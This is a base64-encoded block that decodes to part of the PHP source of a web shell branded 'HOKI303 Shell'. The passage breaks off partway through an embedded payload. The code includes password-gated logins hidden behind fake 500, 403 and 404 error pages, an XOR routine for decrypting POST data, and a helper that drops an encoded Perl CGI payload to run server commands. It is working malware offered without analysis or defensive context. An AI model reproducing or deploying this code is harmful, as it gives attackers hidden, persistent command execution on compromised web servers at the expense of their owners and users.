W5mb192YXJzIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YWx1ZXMiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmZpbGVzdG9vbHMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfaGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxNGZmMDciLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5oaGVhZGVyLXRleHQsLmhpc3RvcnktY2xlYXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfbGlzdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDNiM2EzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWZpbGUtbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9zZWxlY3RlZF9maWxlIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoNDksIDU1LCA5MywgMC43NykiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pc19hY3RpdmUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9maWxlOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5maWxlLWhvbGRlciA+IC5oaXN0b3J5OmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaW5wdXRfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsCgkJCSkKCQkpLAoJCSJpbnB1dF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjOTk5OTk5IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImlucHV0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdOmhvdmVyLHRleHRhcmVhOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJzZWxlY3RfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9IiwKCQkJKQoJCSksCgkJInNlbGVjdF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkVFIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkic2VsZWN0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3Q6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJ1dHRvbl9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiaW5wdXRbdHlwZT1zdWJtaXRdLC5idXR0b24sI2FkZHVwIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiYnV0dG9uOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJImlucHV0W3R5cGU9c3VibWl0XTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoycHggc29saWQge2NvbG9yfTsiLAoJCQkJIi5idXR0b246aG92ZXIsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLm1sMSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWwxIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJ1cGxvYWRlcl90ZXh0X3JpZ2h0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjVmZjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMGZmMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi51cF9iYXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJteXNxbF90YWJsZXMiID0+ICIjMDBGRjAwIiwKCQkibXlzcWxfdGFibGVfY291bnQiID0+ICIjNjdBQkRGIiwKCQkiY29weXJpZ2h0IiA9PiAiI2RmZmYwMCIsCgkJInNjcm9sbGJhciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIio6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKKTsKJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKTsKJGNvbmZpZyA9IGFycmF5KCdIb2tpVXNlcicgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddLCdIb2tpUGFzcycgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsncGFzcyddLCdIb2tpUHJvdGVjdFNoZWxsJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddLCdIb2tpTG9naW5QYWdlJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pOwovL0BzZXNzaW9uX3N0YXJ0KCk7CkBzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CkBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7CkBpbmlfc2V0KCJ1cGxvYWRfbWF4X2ZpbGVzaXplIiwgIjk5OTltIik7CmlmKCRjb25maWdbJ0hva2lQcm90ZWN0U2hlbGwnXSl7CiRTRVJWRVJfU0lHID0gKGlzc2V0KCRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl0pPyRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl06IiIpOwokRWZvcm09Jzxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHN0eWxlPSJtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+JzsKaWYoJGNvbmZpZ1snSG9raUxvZ2luUGFnZSddID09ICdndWknKXsKaWYoQCRfQ09PS0lFWyJIb2tpVXNlciJdICE9ICRjb25maWdbJ0hva2lVc2VyJ10gJiYgJF9DT09LSUVbIkhva2lQYXNzIl0gIT0gbWQ1KCRjb25maWdbJ0hva2lQYXNzJ10pKXsKaWYoQCRfUE9TVFsidXNybmFtZSJdPT0kY29uZmlnWydIb2tpVXNlciddICYmIEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snSG9raVBhc3MnXSl7Cl9faG9raV9zZXRfY29va2llKCJIb2tpVXNlciIsICRjb25maWdbJ0hva2lVc2VyJ10pOwpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVBhc3MiLCBAbWQ1KCRjb25maWdbJ0hva2lQYXNzJ10pKTsKQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOwp9CmVjaG8gJwo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fQojbG9naW5ib3ggeyBmb250LXNpemU6MTFweDsgY29sb3I6Z3JlZW47IHJpZ2h0Ojg1cHg7IHdpZHRoOjEyMDBweDsgaGVpZ2h0OjIwMHB4OyBib3JkZXItcmFkaXVzOjVweDsgLW1vei1ib2Rlci1yYWRpdXM6NXB4OyBwb3NpdGlvbjpmaXhlZDsgdG9wOjI1MHB4OyB9CiNsb2dpbmJveCB0ZCB7IGJvcmRlci1yYWRpdXM6NXB4OyBmb250LXNpemU6MTFweDsgfQo8L3N0eWxlPgo8dGl0bGU+fiBIT0tJMzAzIFNoZWxsLXYnLl9fSE9LSV9WRVJTSU9OX18uJy0nLl9fSE9LSV9DT0RFX05BTUVfXy4nIH48L3RpdGxlPjxjZW50ZXI+CjxjZW50ZXI+PGltZyBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9Ikhva2kzMDMgR2FuZyIgZHJhZ2dhYmxlPSJmYWxzZSIgc3JjPSJodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ28ucG5nIiAvPjwvY2VudGVyPgo8ZGl2IGlkPWxvZ2luYm94PjxwPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+CjxjZW50ZXI+PHRhYmxlIGNlbGxwYWRkaW5nPVwnMlwnIGNlbGxzcGFjaW5nPVwnMFwnIGJvcmRlcj1cJzBcJyBpZD1cJ2FwX3RhYmxlXCc+Cjx0cj48dGQgYmdjb2xvcj0iZ3JlZW4iPjx0YWJsZSBjZWxscGFkZGluZz1cJzBcJyBjZWxsc3BhY2luZz1cJzBcJyBib3JkZXI9XCcwXCcgd2lkdGg9XCcxMDAlXCc+PHRyPjx0ZCBiZ2NvbG9yPSJncmVlbiIgYWxpZ249Y2VudGVyIHN0eWxlPSJwYWRkaW5nOjI7cGFkZGluZy1ib3R0b206NCI+PGI+PGZvbnQgY29sb3I9IndoaXRlIiBzaXplPS0xIGNvbG9yPSJ3aGl0ZSIgZmFjZT0idmVyZGFuYSxhcmlhbCI+PGI+fiBIT0tJMzAzIFNoZWxsLXYnLl9fSE9LSV9WRVJTSU9OX18uJy0nLl9fSE9LSV9DT0RFX05BTUVfXy4nIH48L2I+PC9mb250PjwvdGg+PC90cj4KPHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImxvZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGlkZSIgdmFsdWU9IiI+CjxjZW50ZXI+PHRhYmxlPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5Mb2dpbjo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJ1c3JuYW1lIiBwbGFjZWhvbGRlcj0idXNlcm5hbWUiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwndXNlcm5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSI+PC90ZD48L3RyPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5QYXNzd29yZDo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJwYXNzd29yZCIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCdwYXNzd29yZFwnKSB0aGlzLnZhbHVlID0gXCdcJzsiPjwvdGQ+PC90cj4KPHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPgo8L2Rpdj48YnIgLz48L2NlbnRlcj4nOwpleGl0Owp9Cn1lbHNlaWYoJGNvbmZpZ1snSG9raUxvZ2luUGFnZSddPT0nNTAwJyl7CmlmKEAkX0NPT0tJRVsiSG9raVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0hva2lQYXNzJ10pKXsKaWYoQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydIb2tpUGFzcyddKXsKX19ob2tpX3NldF9jb29raWUoIkhva2lVc2VyIiwgJGNvbmZpZ1snSG9raVVzZXInXSk7Cl9faG9raV9zZXRfY29va2llKCJIb2tpUGFzcyIsIEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpOwpAaGVhZGVyKCdsb2NhdGlvbjogJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7Cn0KZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2VydmVyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsICcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9yLjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydIb2tpTG9naW5QYWdlJ109PSc0MDMnKXsKaWYoQCRfQ09PS0lFWyJIb2tpUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0hva2lQYXNzJ10pewpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVVzZXIiLCAkY29uZmlnWydIb2tpVXNlciddKTsKX19ob2tpX3NldF9jb29raWUoIkhva2lQYXNzIiwgQG1kNSgkY29uZmlnWydIb2tpUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8aHRtbD48aGVhZD48dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Gb3JiaWRkZW48L2gxPjxwPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gYWNjZXNzICIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiBvbiB0aGlzIHNlcnZlci48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydIb2tpTG9naW5QYWdlJ109PSc0MDQnKXsKaWYoQCRfQ09PS0lFWyJIb2tpUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0hva2lQYXNzJ10pewpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVVzZXIiLCAkY29uZmlnWydIb2tpVXNlciddKTsKX19ob2tpX3NldF9jb29raWUoIkhva2lQYXNzIiwgQG1kNSgkY29uZmlnWydIb2tpUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3VuZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfQp9CmZ1bmN0aW9uIGRlY3J5cHRfcG9zdCgkc3RyKXsKCWlmKF9fSE9LSV9QT1NUX0VOQ1JZUFRJT05fXyl7CgkJJHB3ZCA9IF9fSE9LSV9TRUNSRVRfS0VZX187CgkJJHB3ZCAgICAgPSBfX1pXNWpiMlJsY2coJHB3ZCk7CgkJJHN0ciAgICAgPSBfX1pHVmpiMlJsY2coJHN0cik7CgkJJGVuY19jaHIgPSAiIjsKCQkkZW5jX3N0ciA9ICIiOwoJCSRpICAgICAgID0gMDsKCQl3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsKCQkJZm9yICgkaiA9IDA7ICRqIDwgc3RybGVuKCRwd2QpOyAkaisrKSB7CgkJCQkkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7CgkJCQkkZW5jX3N0ciAuPSAkZW5jX2NocjsKCQkJCSRpKys7CgkJCQlpZiAoJGkgPj0gc3RybGVuKCRzdHIpKQoJCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBfX1pHVmpiMlJsY2coJGVuY19zdHIpOwoJfWVsc2V7CgkJcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsKCX0KfQoKZnVuY3Rpb24gX0hva2lTZWNyZXRLZXkoKXsKCSRzZWNyZXQgPSBAJF9DT09LSUVbIkhva2lTZWNyZXRLZXkiXTsKCWlmKCFpc3NldCgkX0NPT0tJRVsiSG9raVNlY3JldEtleSJdKSl7CgkJJHNlY3JldCA9IHVuaXFpZChtdF9yYW5kKCksIHRydWUpOwoJCV9faG9raV9zZXRfY29va2llKCJIb2tpU2VjcmV0S2V5IiwgJHNlY3JldCk7Cgl9CglyZXR1cm4gJHNlY3JldDsKfQpmdW5jdGlvbiBob2tpX2dldENvbG9yKCR0YXJnZXQpewoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsKCQlyZXR1cm4gJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XTsKCX1lbHNlewoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19IT0tJX0NPTE9SX18iXVskdGFyZ2V0XTsKCQlpZihpc19hcnJheSgkdGFyZ2V0KSl7CgkJCXJldHVybiAkdGFyZ2V0WyJrZXlfY29sb3IiXTsKCQl9ZWxzZXsKCQkJcmV0dXJuICR0YXJnZXQ7CgkJfQoJfQp9CmZ1bmN0aW9uIGhva2lDc3NMb2FkQ29sb3JzKCl7CgkkY3NzID0gIiI7Cglmb3JlYWNoKCRHTE9CQUxTWydfX0hPS0lfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsKCQlpZighaXNfYXJyYXkoJHZhbHVlKSl7CgkJCSR2YWx1ZSA9IGhva2lfZ2V0Q29sb3IoJGtleSk7CgkJCSRjc3MgLj0gIi57JGtleX17Y29sb3I6IHskdmFsdWV9O30iOwoJCX1lbHNlewoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsKCQkJCWZvcmVhY2goJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdIGFzICRrID0+ICR2KXsKCQkJCQkkY29sb3IgPSBob2tpX2dldENvbG9yKCRrZXkpOwoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb3IsICR2KTsKCQkJCQkkY3NzIC49ICAkay4ieyIuJGNvZGUuIn0iOwoJCQkJfQoJCQl9CgkJfQoJfQoJcmV0dXJuICRjc3M7Cn0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gSG9raU51bSgpewokYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsKJGhva2l4ID0gYXJyYXkoKTsKJGZpbmQgPSBhcnJheSgpOwpmb3IoJGk9MTskaTw9MTA7JGkrKyl7CiRob2tpeFtdID0gJGk7Cn0KZm9yZWFjaCgkYXJncyBhcyAkYXJnKXsKJGZpbmRbXSA9ICRhcmc7Cn0KZWNobyAnPHNjcmlwdD4nOwpmb3JlYWNoKCRob2tpeCBhcyAkaG9raSl7CmlmKGluX2FycmF5KCRob2tpLCRmaW5kKSkKY29udGludWU7CmVjaG8gJ2hva2knLiRob2tpLiJfPSI7Cn0KZWNobyAnIiI8L3NjcmlwdD4nOwp9fQpmdW5jdGlvbiBfaG9raV9jZ2ljbWQoJGNtZCwkbGFuZz0icGVybCIsJHNldF9jb29raWU9ZmFsc2UpewoJaWYoISRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSl7CgkJcmV0dXJuICIiOwoJfQoJaWYoaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGlfbW9kZSJdKSl7CgkJcmV0dXJuICIiOwoJfQoJJGNtZF9wdXJlID0gJGNtZDsKCSRpc19jdXJsID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOwoJaWYoJGlzX2N1cmx8fCRpc19zb2NrZXQpewoJCSRyZWNyZWF0ZSA9IGZhbHNlOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJob2tpY2dpYXBpIl0pKXsKCQkJaWYoIUBmaWxlX2V4aXN0cygiaG9raWNnaWFwaS8iLiRfQ09PS0lFWyJob2tpY2dpYXBpIl0uIi5ob2tpIikpewoJCQkJJHJlY3JlYXRlID0gdHJ1ZTsKCQkJCSRsYW5nID0gJF9DT09LSUVbImhva2ljZ2lhcGkiXTsKCQkJfQoJCX0KCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGkiXSl8fCRyZWNyZWF0ZSl7CgkJCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOwoJCQkkcGVybCA9ICdqWkZSVDhJd0ZJWGYvUlhYT3FXTnNLb3hQbEF3UmxpRVJJYks5RVVNR2RzRkdyWXl0MklreS96dGRrTWxKajc0Y3BLZWU4NTNrOTZEZmI3T1VqNlZpaWVZUmdEUTZGZE90QXI4aUU5OUZjWlM3YTB6aEVGLzREU2IxMzZHRitjaVNhWFNRRG9ycFZIcGh0NGsyQVNONzVvdmRCeU4xVmdSSVdmVWN0eW52UGJnM0Q4NkkyOHljTHplc0ZzckFGK0IzQTFISG1GNXZBRnF5VHBZUzl3WWZmTWpvMUl4a2FJZjBwSFg3YnVWWWFSaWRZYXU1N2plNU5aeGI3eGVyV0RpU2lwb1E1WkVVbE4reEwvcXM1VUJCQXZ6QUhvQ3RnM1dnYkZ6TTN1MjVBdTBQeURqNDJNT2ZDN29iamZia2RwYlVwbXV3eGtUWldoYk82UzJ6WGppQjB0S0FsS0hCYjVUNjVReFBrZFJRdjZSa2lvdmVRWFliU0RqRXdKeUJqVEVtVlFZMHA4cFk3K1RKVndVNWJjYWx3UnhTQXFXYnk4UllyQUtjVEt0cnZNMVgyQ3dOQW1idEpJVUw0bklOcG5HbVA0VnJWRHMrNm90WGhXSzRoTT0nOwoJCQkkcHkgPSA